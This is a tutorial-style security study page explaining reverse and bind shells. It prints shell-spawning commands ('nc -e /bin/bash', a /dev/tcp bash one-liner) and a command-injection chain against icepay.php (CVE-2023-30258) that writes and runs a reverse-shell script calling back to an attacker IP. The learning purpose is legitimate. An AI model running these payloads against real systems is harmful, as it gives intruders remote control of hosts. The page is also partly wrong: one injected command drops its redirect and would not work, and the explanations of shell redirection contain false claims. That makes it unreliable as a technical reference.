Write-ups

Reversing and Privesc stuffs

Attack types

Reverse shells are an attack technique in which the attacker forces the target to execute malicious code that initiates a connection back to the attacker’s machine. On the attacker’s side, a program such as netcat, socat, or another socket-based application listens for and accepts this incoming connection, allowing remote command execution.

Bind shells work differently. In this attack technique, the attacker causes the target system to open a network port and run a service that listens for incoming connections. Once an attacker successfully connects to this port, they can send commands directly to the target system.

Interactive vs Non-Interactives
Interactive shells allows you to execute "sophisticated" programs which demands and allow you to interact with programs after executing them. A good example is the text editor nano opened in a local shell.

Non-Interactive shells (this is what you will receive when you reverse a connection) are limited shells, it means that they will not be able to run complex programs without crashing the whole thing. It happens because when you reverse a connection, in truth, you are interacting with a process running inside of a terminal.



                                                                      nc -lvnp 443
                                                                         ______________
                                                            >       >   ||            ||                            
                                             +======+ >                 ||    Your    ||                             
                                             |  sh  |                   ||   Machine  ||                                                                     
                                             +======+                   ||            ||    
                                            >                           ||____________||
     nc   -e /bin/bash                                         |______________| 
                                        >                                \\############\\
            TARGET SERVER         >                                       \\############\\
                            >                                              \      ____    \   
⠀⠀⢀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⡀⠀⠀                                    \_____\___\____\  
⠀⠀⢸⡿⠿⠿⢿⣿⡿⠿⠿⢿⣿⠿⠿⠿⣿⡟⢻⣿⣿⣿⣿⡟⠛⢿⣿⡇⠀⠀                                                                          
⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣾⣿⣿⣿⣿⣷⣶⣿⣿⡇⠀⠀ 
⠀⠀⠀⠀⠀⠀⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠀⠀⠀⠀⠀⠀
⠀⠀⢸⣿⠿⠿⢿⣿⡿⠿⠿⣿⣿⡿⠿⠿⣿⡟⢿⣿⣿⣿⣿⡿⠻⣿⣿⡇⠀⠀
⠀⠀⢸⣷⣶⣶⣾⣿⣷⣶⣶⣾⣿⣶⣶⣶⣿⣧⣼⣿⣿⣿⣿⣷⣤⣾⣿⡇⠀⠀
⠀⠀⠈⠉⠉⠉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⣉⠉⠉⠉⠁⠀⠀
⠀⠀⠀⠀⠀⠀⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠀⠀⠀⠀⠀⠀
⠀⠀⢰⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⡶⣶⣶⣶⣶⣶⣶⢶⣶⣶⡆⠀⠀
⠀⠀⢸⣯⣤⣤⣼⣿⣧⣤⣤⣽⣿⣤⣤⣤⣿⣇⣸⣿⣿⣿⣿⣧⣀⣽⣿⡇⠀⠀
⠀⠀⠘⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠃⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⢰⣶⣶⣶⣶⣶⣶⣶⡶⠀⣰⣶⣶⣶⣶⣶⣶⣆⠀⢶⣶⣶⣶⣶⣶⣶⣶⡆⠀
⠀⠈⠉⠉⠉⠉⠉⠉⠉⠁⠈⠉⠉⠉⠉⠉⠉⠉⠉⠁⠈⠉⠉⠉⠉⠉⠉⠉⠁⠀        

    

Reversing techniques

I will list and explain here some reversing techniques and which I think that are really useful.

Bash (raw)
sh -i >& /dev/tcp/{YOUR_IP}/{YOUR_PORT} 0>&1
This is way to reverse a connection. This case is more efficient in vulnerabilities which allows you to write and execute code (RCE). To examplify the how useful it is, we can use the vulnerabily CVE-2023-30258, there is parameter in the URL which allows you to execute commands. With it, we can do something like:

icepay.php?democ=testfile; echo "#!/bin/bash" > /tmp/a.sh
icepay.php?democ=testfile; echo "sh -i /dev/tcp/192.168.184.10/1337 0>&1" >> /tmp/a.sh
icepay.php?democ=testfile; chmod 755 /tmp/a.sh
icepay.php?democ=testfile; sh /tmp/a.sh

Let's break this code:

sh -i invoke the shell in interactive mode, which allows type commands and to see the output.

/dev/tcp/{your_ip}/{your_port} It is a special feature on shell, when you type it, the shell tries to open a file (because / is a redirector operator) however the kernel takes this as a request to open a socket with the IP and PORT specified. There is a more detailed explanation right here.

>& This part does two redirections: > redirects the stdout (standard output) and the & redirects stdout and stderr. This is necessary to see the outputs through the TCP connection.
0>&1 This one redirects the stdin 0 (keyboard input) to the stdout (screen output). It means: dommands typed remotely are executed locally (in this case, locally for us means the target POV).

DON'T GO YET!!!

This page is under constant update.

I intend to keep updating this page with more study content stuff. I really like to teach people who really want to learn, so for me it is a pleasure to help.